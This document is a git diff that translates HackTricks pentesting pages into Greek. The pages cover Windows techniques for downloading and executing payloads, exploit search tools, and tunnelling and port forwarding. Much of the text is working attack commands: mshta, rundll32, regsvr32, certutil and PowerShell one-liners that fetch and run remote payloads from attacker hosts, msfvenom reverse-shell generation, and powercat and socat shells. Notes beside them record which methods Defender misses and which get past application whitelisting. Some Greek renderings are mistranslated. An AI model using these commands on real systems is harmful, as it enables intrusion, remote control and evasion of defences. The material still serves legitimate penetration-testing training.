reverse shell (use hta to download and execute PS backdoor)** - +#### **Παράδειγμα hta-psh reverse shell (χρησιμοποιήστε το hta για να κατεβάσετε και να εκτελέσετε το PS backdoor)** ```xml - + ``` +**Μπορείτε να κατεβάσετε και να εκτελέσετε πολύ εύκολα ένα Koadic zombie χρησιμοποιώντας το stager hta** -**You can download & execute very easily a Koadic zombie using the stager hta** - -#### hta example - -[**From here**](https://gist.github.com/Arno0x/91388c94313b70a9819088ddf760683f) +#### παράδειγμα hta +[**Από εδώ**](https://gist.github.com/Arno0x/91388c94313b70a9819088ddf760683f) ```xml @@ -163,11 +132,9 @@ mshta \\webdavserver\folder\payload.hta ``` - #### **mshta - sct** -[**From here**](https://gist.github.com/Arno0x/e472f58f3f9c8c0c941c83c58f254e17) - +[**Από εδώ**](https://gist.github.com/Arno0x/e472f58f3f9c8c0c941c83c58f254e17) ```xml @@ -178,14 +145,12 @@ mshta \\webdavserver\folder\payload.hta ``` - #### **Mshta - Metasploit** - ```bash use exploit/windows/misc/hta_server msf exploit(windows/misc/hta_server) > set srvhost 192.168.1.109 @@ -196,15 +161,13 @@ msf exploit(windows/misc/hta_server) > exploit ```bash Victim> mshta.exe //192.168.1.109:8080/5EEiDSd70ET0k.hta #The file name is given in the output of metasploit ``` - -**Detected by defender** +**Ανιχνεύθηκε από τον αμυντικό μηχανισμό** ## **Rundll32** -[**Dll hello world example**](https://github.com/carterjones/hello-world-dll) - -- [From here](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/) +[**Παράδειγμα Dll hello world**](https://github.com/carterjones/hello-world-dll) +- [Από εδώ](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/) ```bash rundll32 \\webdavserver\folder\payload.dll,entrypoint ``` @@ -212,13 +175,11 @@ rundll32 \\webdavserver\folder\payload.dll,entrypoint ```bash rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";o=GetObject("script:http://webserver/payload.sct");window.close(); ``` - -**Detected by defender** +**Ανιχνεύθηκε από τον αμυντικό** **Rundll32 - sct** -[**From here**](https://gist.github.com/Arno0x/e472f58f3f9c8c0c941c83c58f254e17) - +[**Από εδώ**](https://gist.github.com/Arno0x/e472f58f3f9c8c0c941c83c58f254e17) ```xml @@ -228,22 +189,18 @@ rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";o=GetObject("script:http ``` - #### **Rundll32 - Metasploit** - ```bash use windows/smb/smb_delivery run #You will be given the command to run in the victim: rundll32.exe \\10.2.0.5\Iwvc\test.dll,0 ``` - **Rundll32 - Koadic** - ```bash use stager/js/rundll32_js set SRVHOST 192.168.1.107 @@ -252,11 +209,9 @@ run #Koadic will tell you what you need to execute inside the victim, it will be something like: rundll32.exe javascript:"\..\mshtml, RunHTMLApplication ";x=new%20ActiveXObject("Msxml2.ServerXMLHTTP.6.0");x.open("GET","http://10.2.0.5:9997/ownmG",false);x.send();eval(x.responseText);window.close(); ``` - ## Regsvr32 -- [From here](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/) - +- [Από εδώ](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/) ```bash regsvr32 /u /n /s /i:http://webserver/payload.sct scrobj.dll ``` @@ -264,32 +219,28 @@ regsvr32 /u /n /s /i:http://webserver/payload.sct scrobj.dll ``` regsvr32 /u /n /s /i:\\webdavserver\folder\payload.sct scrobj.dll ``` - -**Detected by defender** +**Ανιχνεύθηκε από τον αμυντικό** #### Regsvr32 -sct -[**From here**](https://gist.github.com/Arno0x/81a8b43ac386edb7b437fe1408b15da1) - +[**Από εδώ**](https://gist.github.com/Arno0x/81a8b43ac386edb7b437fe1408b15da1) ```markup - ``` - #### **Regsvr32 - Metasploit** - ```bash use multi/script/web_delivery set target 3 @@ -298,50 +249,38 @@ set lhost 10.2.0.5 run #You will be given the command to run in the victim: regsvr32 /s /n /u /i:http://10.2.0.5:8080/82j8mC8JBblt.sct scrobj.dll ``` - -**You can download & execute very easily a Koadic zombie using the stager regsvr** +**Μπορείτε να κατεβάσετε και να εκτελέσετε πολύ εύκολα ένα Koadic zombie χρησιμοποιώντας τον stager regsvr** ## Certutil -- [From here](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/) - -Download a B64dll, decode it and execute it. +- [Από εδώ](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/) +Κατεβάστε ένα B64dll, αποκωδικοποιήστε το και εκτελέστε το. ```bash certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.dll & C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil /logfile= /LogToConsole=false /u payload.dll ``` - -Download a B64exe, decode it and execute it. - +Κατεβάστε ένα B64exe, αποκωδικοποιήστε το και εκτελέστε το. ```bash certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.exe & payload.exe ``` - -**Detected by defender** +**Ανιχνεύτηκε από τον αμυντικό** ## **Cscript/Wscript** - ```bash powershell.exe -c "(New-Object System.NET.WebClient).DownloadFile('http://10.2.0.5:8000/reverse_shell.vbs',\"$env:temp\test.vbs\");Start-Process %windir%\system32\cscript.exe \"$env:temp\test.vbs\"" ``` - **Cscript - Metasploit** - ```bash msfvenom -p cmd/windows/reverse_powershell lhost=10.2.0.5 lport=4444 -f vbs > shell.vbs ``` - -**Detected by defender** +**Ανιχνεύθηκε από τον αμυντικό** ## PS-Bat - ```bash \\webdavserver\folder\batchfile.bat ``` - -Process performing network call: **svchost.exe**\ -Payload written on disk: **WebDAV client local cache** - +Διαδικασία που εκτελεί κλήση δικτύου: **svchost.exe**\ +Φορτίο που γράφτηκε στον δίσκο: **WebDAV client local cache** ```bash msfvenom -p cmd/windows/reverse_powershell lhost=10.2.0.5 lport=4444 > shell.bat impacket-smbserver -smb2support kali `pwd` @@ -350,102 +289,83 @@ impacket-smbserver -smb2support kali `pwd` ```bash \\10.8.0.3\kali\shell.bat ``` - -**Detected by defender** +**Ανιχνεύθηκε από τον αμυντικό** ## **MSIExec** -Attacker - +Επιτιθέμενος ``` msfvenom -p windows/meterpreter/reverse_tcp lhost=10.2.0.5 lport=1234 -f msi > shell.msi python -m SimpleHTTPServer 80 ``` - -Victim: - +Θύμα: ``` victim> msiexec /quiet /i \\10.2.0.5\kali\shell.msi ``` - -**Detected** +**Ανιχνεύθηκε** ## **Wmic** -- [From here](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/) - +- [Από εδώ](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/) ```bash wmic os get /format:"https://webserver/payload.xsl" ``` - -Example xsl file [from here](https://gist.github.com/Arno0x/fa7eb036f6f45333be2d6d2fd075d6a7): - +Παράδειγμα αρχείου xsl [από εδώ](https://gist.github.com/Arno0x/fa7eb036f6f45333be2d6d2fd075d6a7): ```xml - - - + + + ``` +**Δεν ανιχνεύθηκε** -**Not detected** - -**You can download & execute very easily a Koadic zombie using the stager wmic** +**Μπορείτε να κατεβάσετε και να εκτελέσετε πολύ εύκολα ένα Koadic zombie χρησιμοποιώντας το stager wmic** ## Msbuild -- [From here](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/) - +- [Από εδώ](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/) ``` cmd /V /c "set MB="C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe" & !MB! /noautoresponse /preprocess \\webdavserver\folder\payload.xml > payload.xml & !MB! payload.xml" ``` - -You can use this technique to bypass Application Whitelisting and Powershell.exe restrictions. As you will be prompted with a PS shell.\ -Just download this and execute it: [https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj](https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj) - +Μπορείτε να χρησιμοποιήσετε αυτή την τεχνική για να παρακάμψετε την Εγκεκριμένη Λίστα Εφαρμογών και τους περιορισμούς του Powershell.exe. Καθώς θα σας ζητηθεί να ανοίξετε ένα PS shell.\ +Απλώς κατεβάστε αυτό και εκτελέστε το: [https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj](https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj) ``` C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe MSBuildShell.csproj ``` - -**Not detected** +**Δεν ανιχνεύθηκε** ## **CSC** -Compile C# code in the victim machine. - +Συμπιέστε τον κώδικα C# στη μηχανή του θύματος. ``` C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:shell.exe shell.cs ``` +Μπορείτε να κατεβάσετε μια βασική C# reverse shell από εδώ: [https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc](https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc) -You can download a basic C# reverse shell from here: [https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc](https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc) - -**Not deteted** +**Δεν ανιχνεύεται** ## **Regasm/Regsvc** -- [From here](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/) - +- [Από εδώ](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/) ```bash C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /u \\webdavserver\folder\payload.dll ``` - -**I haven't tried it** +**Δεν το έχω δοκιμάσει** [**https://gist.github.com/Arno0x/71ea3afb412ec1a5490c657e58449182**](https://gist.github.com/Arno0x/71ea3afb412ec1a5490c657e58449182) ## Odbcconf -- [From here](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/) - +- [Από εδώ](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/) ```bash odbcconf /s /a {regsvr \\webdavserver\folder\payload_dll.txt} ``` - -**I haven't tried it** +**Δεν το έχω δοκιμάσει** [**https://gist.github.com/Arno0x/45043f0676a55baf484cbcd080bbf7c2**](https://gist.github.com/Arno0x/45043f0676a55baf484cbcd080bbf7c2) @@ -455,98 +375,82 @@ odbcconf /s /a {regsvr \\webdavserver\folder\payload_dll.txt} [https://github.com/samratashok/nishang](https://github.com/samratashok/nishang) -In the **Shells** folder, there are a lot of different shells. To download and execute Invoke-_PowerShellTcp.ps1_ make a copy of the script and append to the end of the file: - +Στο φάκελο **Shells**, υπάρχουν πολλές διαφορετικές shells. Για να κατεβάσετε και να εκτελέσετε το Invoke-_PowerShellTcp.ps1_, κάντε ένα αντίγραφο του script και προσθέστε στο τέλος του αρχείου: ``` Invoke-PowerShellTcp -Reverse -IPAddress 10.2.0.5 -Port 4444 ``` - -Start serving the script in a web server and execute it on the victim's end: - +Αρχίστε να εξυπηρετείτε το σενάριο σε έναν διακομιστή ιστού και εκτελέστε το στην πλευρά του θύματος: ``` powershell -exec bypass -c "iwr('http://10.11.0.134/shell2.ps1')|iex" ``` +Ο Defender δεν το ανιχνεύει ως κακόβουλο κώδικα (ακόμα, 3/04/2019). -Defender doesn't detect it as malicious code (yet, 3/04/2019). - -**TODO: Check other nishang shells** +**TODO: Έλεγχος άλλων nishang shells** ### **PS-Powercat** [**https://github.com/besimorhino/powercat**](https://github.com/besimorhino/powercat) -Download, start a web server, start the listener, and execute it on the victim's end: - +Κατεβάστε, ξεκινήστε έναν διακομιστή ιστού, ξεκινήστε τον ακροατή και εκτελέστε το στην πλευρά του θύματος: ``` - powershell -exec bypass -c "iwr('http://10.2.0.5/powercat.ps1')|iex;powercat -c 10.2.0.5 -p 4444 -e cmd" +powershell -exec bypass -c "iwr('http://10.2.0.5/powercat.ps1')|iex;powercat -c 10.2.0.5 -p 4444 -e cmd" ``` +Ο Defender δεν το ανιχνεύει ως κακόβουλο κώδικα (ακόμα, 3/04/2019). -Defender doesn't detect it as malicious code (yet, 3/04/2019). - -**Other options offered by powercat:** +**Άλλες επιλογές που προσφέρει το powercat:** Bind shells, Reverse shell (TCP, UDP, DNS), Port redirect, upload/download, Generate payloads, Serve files... - ``` Serve a cmd Shell: - powercat -l -p 443 -e cmd +powercat -l -p 443 -e cmd Send a cmd Shell: - powercat -c 10.1.1.1 -p 443 -e cmd +powercat -c 10.1.1.1 -p 443 -e cmd Send a powershell: - powercat -c 10.1.1.1 -p 443 -ep +powercat -c 10.1.1.1 -p 443 -ep Send a powershell UDP: - powercat -c 10.1.1.1 -p 443 -ep -u +powercat -c 10.1.1.1 -p 443 -ep -u TCP Listener to TCP Client Relay: - powercat -l -p 8000 -r tcp:10.1.1.16:443 +powercat -l -p 8000 -r tcp:10.1.1.16:443 Generate a reverse tcp payload which connects back to 10.1.1.15 port 443: - powercat -c 10.1.1.15 -p 443 -e cmd -g +powercat -c 10.1.1.15 -p 443 -e cmd -g Start A Persistent Server That Serves a File: - powercat -l -p 443 -i C:\inputfile -rep +powercat -l -p 443 -i C:\inputfile -rep ``` - ### Empire [https://github.com/EmpireProject/Empire](https://github.com/EmpireProject/Empire) -Create a powershell launcher, save it in a file and download and execute it. - +Δημιουργήστε έναν εκκινητή powershell, αποθηκεύστε τον σε ένα αρχείο και κατεβάστε και εκτελέστε τον. ``` powershell -exec bypass -c "iwr('http://10.2.0.5/launcher.ps1')|iex;powercat -c 10.2.0.5 -p 4444 -e cmd" ``` - -**Detected as malicious code** +**Ανιχνεύθηκε ως κακόβουλος κώδικας** ### MSF-Unicorn [https://github.com/trustedsec/unicorn](https://github.com/trustedsec/unicorn) -Create a powershell version of metasploit backdoor using unicorn - +Δημιουργήστε μια έκδοση powershell του backdoor του metasploit χρησιμοποιώντας το unicorn ``` python unicorn.py windows/meterpreter/reverse_https 10.2.0.5 443 ``` - -Start msfconsole with the created resource: - +Ξεκινήστε το msfconsole με τον δημιουργημένο πόρο: ``` msfconsole -r unicorn.rc ``` - -Start a web server serving the _powershell_attack.txt_ file and execute in the victim: - +Ξεκινήστε έναν διακομιστή ιστού που σερβίρει το _powershell_attack.txt_ αρχείο και εκτελέστε το στον θύμα: ``` powershell -exec bypass -c "iwr('http://10.2.0.5/powershell_attack.txt')|iex" ``` +**Ανιχνεύθηκε ως κακόβουλος κώδικας** -**Detected as malicious code** +## Περισσότερα -## More - -[PS>Attack](https://github.com/jaredhaight/PSAttack) PS console with some offensive PS modules preloaded (cyphered)\ +[PS>Attack](https://github.com/jaredhaight/PSAttack) PS κονσόλα με μερικά επιθετικά PS modules προφορτωμένα (κρυπτογραφημένα)\ [https://gist.github.com/NickTyrer/92344766f1d4d48b15687e5e4bf6f9](https://gist.github.com/NickTyrer/92344766f1d4d48b15687e5e4bf6f93c)[\ -WinPWN](https://github.com/SecureThisShit/WinPwn) PS console with some offensive PS modules and proxy detection (IEX) +WinPWN](https://github.com/SecureThisShit/WinPwn) PS κονσόλα με μερικά επιθετικά PS modules και ανίχνευση proxy (IEX) -## References +## Αναφορές - [https://highon.coffee/blog/reverse-shell-cheat-sheet/](https://highon.coffee/blog/reverse-shell-cheat-sheet/) - [https://gist.github.com/Arno0x](https://gist.github.com/Arno0x) diff --git a/src/generic-hacking/search-exploits.md b/src/generic-hacking/search-exploits.md index 8d195840a..867fb3f36 100644 --- a/src/generic-hacking/search-exploits.md +++ b/src/generic-hacking/search-exploits.md @@ -1,25 +1,16 @@ -# Search Exploits +# Αναζήτηση Εκμεταλλεύσεων {{#include ../banners/hacktricks-training.md}} -
+### Περιηγητής -\ -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=search-exploits) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +Πάντα αναζητάτε σε "google" ή άλλες: **\ \[version] exploit** -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=search-exploits" %} - -### Browser - -Always search in "google" or others: **\ \[version] exploit** - -You should also try the **shodan** **exploit search** from [https://exploits.shodan.io/](https://exploits.shodan.io). +Πρέπει επίσης να δοκιμάσετε την **αναζήτηση εκμεταλλεύσεων shodan** από [https://exploits.shodan.io/](https://exploits.shodan.io). ### Searchsploit -Useful to search exploits for services in **exploitdb from the console.** - +Χρήσιμο για να αναζητήσετε εκμεταλλεύσεις για υπηρεσίες στο **exploitdb από την κονσόλα.** ```bash #Searchsploit tricks searchsploit "linux Kernel" #Example @@ -29,43 +20,33 @@ searchsploit -p 7618[.c] #Show complete path searchsploit -x 7618[.c] #Open vi to inspect the exploit searchsploit --nmap file.xml #Search vulns inside an nmap xml result ``` - ### Pompem -[https://github.com/rfunix/Pompem](https://github.com/rfunix/Pompem) is another tool to search for exploits +[https://github.com/rfunix/Pompem](https://github.com/rfunix/Pompem) είναι ένα άλλο εργαλείο για την αναζήτηση εκμεταλλεύσεων ### MSF-Search - ```bash msf> search platform:windows port:135 target:XP type:exploit ``` - ### PacketStorm -If nothing is found, try to search the used technology inside [https://packetstormsecurity.com/](https://packetstormsecurity.com) +Αν δεν βρείτε τίποτα, προσπαθήστε να αναζητήσετε την χρησιμοποιούμενη τεχνολογία μέσα στο [https://packetstormsecurity.com/](https://packetstormsecurity.com) ### Vulners -You can also search in vulners database: [https://vulners.com/](https://vulners.com) +Μπορείτε επίσης να αναζητήσετε στη βάση δεδομένων vulners: [https://vulners.com/](https://vulners.com) ### Sploitus -This searches for exploits in other databases: [https://sploitus.com/](https://sploitus.com) +Αυτό αναζητά exploits σε άλλες βάσεις δεδομένων: [https://sploitus.com/](https://sploitus.com) ### Sploitify -GTFOBins-like curated list of exploits with filters by vulnerability type (Local Privilege Escalation, Remote Code execution, etc), service type (Web, SMB, SSH, RDP, etc), OS and practice labs (links to machines where you can play with sploits): [https://sploitify.haxx.it](https://sploitify.haxx.it) +Λίστα επιμελημένων exploits παρόμοια με το GTFOBins με φίλτρα ανά τύπο ευπάθειας (Local Privilege Escalation, Remote Code execution, κ.λπ.), τύπο υπηρεσίας (Web, SMB, SSH, RDP, κ.λπ.), OS και εργαστήρια πρακτικής (σύνδεσμοι σε μηχανές όπου μπορείτε να παίξετε με exploits): [https://sploitify.haxx.it](https://sploitify.haxx.it) ### search_vulns -search_vulns enables you to search for known vulnerabilities and exploits as well: [**https://search-vulns.com/**](https://search-vulns.com/). It utilizes various data sources like the NVD, the Exploit-DB, PoC-in-GitHub, the GitHub Security Advisory database and endoflife.date. +Το search_vulns σας επιτρέπει να αναζητάτε γνωστές ευπάθειες και exploits επίσης: [**https://search-vulns.com/**](https://search-vulns.com/). Χρησιμοποιεί διάφορες πηγές δεδομένων όπως το NVD, το Exploit-DB, το PoC-in-GitHub, τη βάση δεδομένων GitHub Security Advisory και το endoflife.date. -
- -\ -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=search-exploits) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=search-exploits" %} {{#include ../banners/hacktricks-training.md}} diff --git a/src/generic-hacking/tunneling-and-port-forwarding.md b/src/generic-hacking/tunneling-and-port-forwarding.md index 902da0e5b..53b77b01c 100644 --- a/src/generic-hacking/tunneling-and-port-forwarding.md +++ b/src/generic-hacking/tunneling-and-port-forwarding.md @@ -5,12 +5,11 @@ ## Nmap tip > [!WARNING] -> **ICMP** and **SYN** scans cannot be tunnelled through socks proxies, so we must **disable ping discovery** (`-Pn`) and specify **TCP scans** (`-sT`) for this to work. +> **ICMP** και **SYN** σάρωσεις δεν μπορούν να περάσουν μέσω των socks proxies, οπότε πρέπει να **απενεργοποιήσουμε την ανακάλυψη ping** (`-Pn`) και να καθορίσουμε **TCP σάρωσεις** (`-sT`) για να λειτουργήσει αυτό. ## **Bash** **Host -> Jump -> InternalA -> InternalB** - ```bash # On the jump server connect the port 3333 to the 5985 mknod backpipe p; @@ -26,19 +25,15 @@ cat <&4 >&3 & # From the host, you can now access InternalB from the Jump server evil-winrm -u username -i Jump ``` - ## **SSH** -SSH graphical connection (X) - +SSH γραφική σύνδεση (X) ```bash ssh -Y -C @ #-Y is less secure but faster than -X ``` +### Τοπικό Port2Port -### Local Port2Port - -Open new Port in SSH Server --> Other port - +Άνοιγμα νέας Θύρας στον SSH Server --> Άλλη θύρα ```bash ssh -R 0.0.0.0:10521:127.0.0.1:1521 user@10.0.0.1 #Local port 1521 accessible in port 10521 from everywhere ``` @@ -46,29 +41,23 @@ ssh -R 0.0.0.0:10521:127.0.0.1:1521 user@10.0.0.1 #Local port 1521 accessible in ```bash ssh -R 0.0.0.0:10521:10.0.0.1:1521 user@10.0.0.1 #Remote port 1521 accessible in port 10521 from everywhere ``` - ### Port2Port -Local port --> Compromised host (SSH) --> Third_box:Port - +Τοπική θύρα --> Συμβιβασμένος υπολογιστής (SSH) --> Τρίτο_κουτί:Θύρα ```bash ssh -i ssh_key @ -L :: [-p ] [-N -f] #This way the terminal is still in your host #Example sudo ssh -L 631::631 -N -f -l ``` - ### Port2hostnet (proxychains) -Local Port --> Compromised host (SSH) --> Wherever - +Τοπική Θύρα --> Συμβιβασμένος υπολογιστής (SSH) --> Οπουδήποτε ```bash ssh -f -N -D @ #All sent to local port will exit through the compromised server (use as proxy) ``` +### Αντίστροφη Προώθηση Θυρών -### Reverse Port Forwarding - -This is useful to get reverse shells from internal hosts through a DMZ to your host: - +Αυτό είναι χρήσιμο για να αποκτήσετε αντίστροφες θήκες από εσωτερικούς υπολογιστές μέσω μιας DMZ στον υπολογιστή σας: ```bash ssh -i dmz_key -R :443:0.0.0.0:7000 root@10.129.203.111 -vN # Now you can send a rev to dmz_internal_ip:443 and capture it in localhost:7000 @@ -77,13 +66,11 @@ ssh -i dmz_key -R :443:0.0.0.0:7000 root@10.129.203.111 -vN # and change the line "GatewayPorts no" to "GatewayPorts yes" # to be able to make ssh listen in non internal interfaces in the victim (443 in this case) ``` - ### VPN-Tunnel -You need **root in both devices** (as you are going to create new interfaces) and the sshd config has to allow root login:\ +Χρειάζεστε **root και στις δύο συσκευές** (καθώς πρόκειται να δημιουργήσετε νέες διεπαφές) και η ρύθμιση sshd πρέπει να επιτρέπει την είσοδο root:\ `PermitRootLogin yes`\ `PermitTunnel yes` - ```bash ssh root@server -w any:any #This will create Tun interfaces in both devices ip addr add 1.1.1.2/32 peer 1.1.1.1 dev tun0 #Client side VPN IP @@ -91,50 +78,38 @@ ifconfig tun0 up #Activate the client side network interface ip addr add 1.1.1.1/32 peer 1.1.1.2 dev tun0 #Server side VPN IP ifconfig tun0 up #Activate the server side network interface ``` - -Enable forwarding on the Server side - +Ενεργοποιήστε την προώθηση στην πλευρά του διακομιστή ```bash echo 1 > /proc/sys/net/ipv4/ip_forward iptables -t nat -A POSTROUTING -s 1.1.1.2 -o eth0 -j MASQUERADE ``` - -Set a new route on the client side - +Ορίστε μια νέα διαδρομή στην πλευρά του πελάτη ``` route add -net 10.0.0.0/16 gw 1.1.1.1 ``` - ## SSHUTTLE -You can **tunnel** via **ssh** all the **traffic** to a **subnetwork** through a host.\ -For example, forwarding all the traffic going to 10.10.10.0/24 - +Μπορείτε να **tunnel** μέσω **ssh** όλη την **κίνηση** σε ένα **υποδίκτυο** μέσω ενός host.\ +Για παράδειγμα, προωθώντας όλη την κίνηση που πηγαίνει στο 10.10.10.0/24 ```bash pip install sshuttle sshuttle -r user@host 10.10.10.10/24 ``` - -Connect with a private key - +Συνδεθείτε με ένα ιδιωτικό κλειδί ```bash sshuttle -D -r user@host 10.10.10.10 0/0 --ssh-cmd 'ssh -i ./id_rsa' # -D : Daemon mode ``` - ## Meterpreter ### Port2Port -Local port --> Compromised host (active session) --> Third_box:Port - +Τοπική θύρα --> Συμβιβασμένος υπολογιστής (ενεργή συνεδρία) --> Τρίτο_κουτί:Θύρα ```bash # Inside a meterpreter session portfwd add -l -p -r ``` - ### SOCKS - ```bash background# meterpreter session route add # (ex: route add 10.10.10.14 255.255.255.0 8) @@ -142,9 +117,7 @@ use auxiliary/server/socks_proxy run #Proxy port 1080 by default echo "socks4 127.0.0.1 1080" > /etc/proxychains.conf #Proxychains ``` - -Another way: - +Άλλος τρόπος: ```bash background #meterpreter session use post/multi/manage/autoroute @@ -157,13 +130,11 @@ set VERSION 4a run #Proxy port 1080 by default echo "socks4 127.0.0.1 1080" > /etc/proxychains.conf #Proxychains ``` - ## Cobalt Strike ### SOCKS proxy -Open a port in the teamserver listening in all the interfaces that can be used to **route the traffic through the beacon**. - +Ανοίξτε μια θύρα στον server της ομάδας που ακούει σε όλα τα interfaces που μπορούν να χρησιμοποιηθούν για να **δρομολογήσουν την κίνηση μέσω του beacon**. ```bash beacon> socks 1080 [+] started SOCKS4a server on: 1080 @@ -171,50 +142,42 @@ beacon> socks 1080 # Set port 1080 as proxy server in proxychains.conf proxychains nmap -n -Pn -sT -p445,3389,5985 10.10.17.25 ``` - ### rPort2Port > [!WARNING] -> In this case, the **port is opened in the beacon host**, not in the Team Server and the traffic is sent to the Team Server and from there to the indicated host:port - +> Σε αυτή την περίπτωση, το **θύρα είναι ανοιχτή στον host beacon**, όχι στον Team Server και η κίνηση αποστέλλεται στον Team Server και από εκεί στον υποδεικνυόμενο host:port ```bash rportfwd [bind port] [forward host] [forward port] rportfwd stop [bind port] ``` +Για σημείωση: -To note: +- Η αντίστροφη προώθηση θύρας του Beacon έχει σχεδιαστεί για να **συνδέει την κίνηση στον Team Server, όχι για αναμετάδοση μεταξύ μεμονωμένων μηχανών**. +- Η κίνηση είναι **συνδεδεμένη μέσα στην κίνηση C2 του Beacon**, συμπεριλαμβανομένων των P2P συνδέσεων. +- **Δικαιώματα διαχειριστή δεν απαιτούνται** για τη δημιουργία αντίστροφων προωθήσεων θύρας σε υψηλές θύρες. -- Beacon's reverse port forward is designed to **tunnel traffic to the Team Server, not for relaying between individual machines**. -- Traffic is **tunneled within Beacon's C2 traffic**, including P2P links. -- **Admin privileges are not required** to create reverse port forwards on high ports. - -### rPort2Port local +### rPort2Port τοπικά > [!WARNING] -> In this case, the **port is opened in the beacon host**, not in the Team Server and the **traffic is sent to the Cobalt Strike client** (not to the Team Server) and from there to the indicated host:port - +> Σε αυτή την περίπτωση, η **θύρα ανοίγεται στον υπολογιστή beacon**, όχι στον Team Server και η **κίνηση αποστέλλεται στον πελάτη Cobalt Strike** (όχι στον Team Server) και από εκεί στον καθορισμένο host:port ``` rportfwd_local [bind port] [forward host] [forward port] rportfwd_local stop [bind port] ``` - ## reGeorg [https://github.com/sensepost/reGeorg](https://github.com/sensepost/reGeorg) -You need to upload a web file tunnel: ashx|aspx|js|jsp|php|php|jsp - +Πρέπει να ανεβάσετε ένα αρχείο ιστού tunnel: ashx|aspx|js|jsp|php|php|jsp ```bash python reGeorgSocksProxy.py -p 8080 -u http://upload.sensepost.net:8080/tunnel/tunnel.jsp ``` - ## Chisel -You can download it from the releases page of [https://github.com/jpillora/chisel](https://github.com/jpillora/chisel)\ -You need to use the **same version for client and server** +Μπορείτε να το κατεβάσετε από τη σελίδα εκδόσεων του [https://github.com/jpillora/chisel](https://github.com/jpillora/chisel)\ +Πρέπει να χρησιμοποιήσετε την **ίδια έκδοση για τον πελάτη και τον διακομιστή** ### socks - ```bash ./chisel server -p 8080 --reverse #Server -- Attacker ./chisel-x64.exe client 10.10.14.3:8080 R:socks #Client -- Victim @@ -223,22 +186,18 @@ You need to use the **same version for client and server** ./chisel server -v -p 8080 --socks5 #Server -- Victim (needs to have port 8080 exposed) ./chisel client -v 10.10.10.10:8080 socks #Attacker ``` - -### Port forwarding - +### Προώθηση θύρας ```bash ./chisel_1.7.6_linux_amd64 server -p 12312 --reverse #Server -- Attacker ./chisel_1.7.6_linux_amd64 client 10.10.14.20:12312 R:4505:127.0.0.1:4505 #Client -- Victim ``` - ## Ligolo-ng [https://github.com/nicocha30/ligolo-ng](https://github.com/nicocha30/ligolo-ng) -**Use the same version for agent and proxy** +**Χρησιμοποιήστε την ίδια έκδοση για τον πράκτορα και τον μεσολαβητή** ### Tunneling - ```bash # Start proxy server and automatically generate self-signed TLS certificates -- Attacker sudo ./proxy -selfcert @@ -260,9 +219,7 @@ interface_add_route --name "ligolo" --route / python server.py --server-port 9999 --server-ip 0.0.0.0 --proxy-ip 127.0.0.1 --proxy-port 1080 ``` @@ -293,9 +246,7 @@ attacker> python server.py --server-port 9999 --server-ip 0.0.0.0 --proxy-ip 127 ```bash victim> python client.py --server-ip --server-port 9999 ``` - -Pivot through **NTLM proxy** - +Περιστροφή μέσω **NTLM proxy** ```bash victim> python client.py --server-ip --server-port 9999 --ntlm-proxy-ip --ntlm-proxy-port 8080 --domain CONTOSO.COM --username Alice --password P@ssw0rd ``` @@ -303,39 +254,29 @@ victim> python client.py --server-ip --server-port 9999 --ntl ```bash victim> python client.py --server-ip --server-port 9999 --ntlm-proxy-ip --ntlm-proxy-port 8080 --domain CONTOSO.COM --username Alice --hashes 9b9850751be2515c8231e5189015bbe6:49ef7638d69a01f26d96ed673bf50c45 ``` - ## **Socat** [https://github.com/andrew-d/static-binaries](https://github.com/andrew-d/static-binaries) -### Bind shell - +### Δεσμευμένο κέλυφος ```bash victim> socat 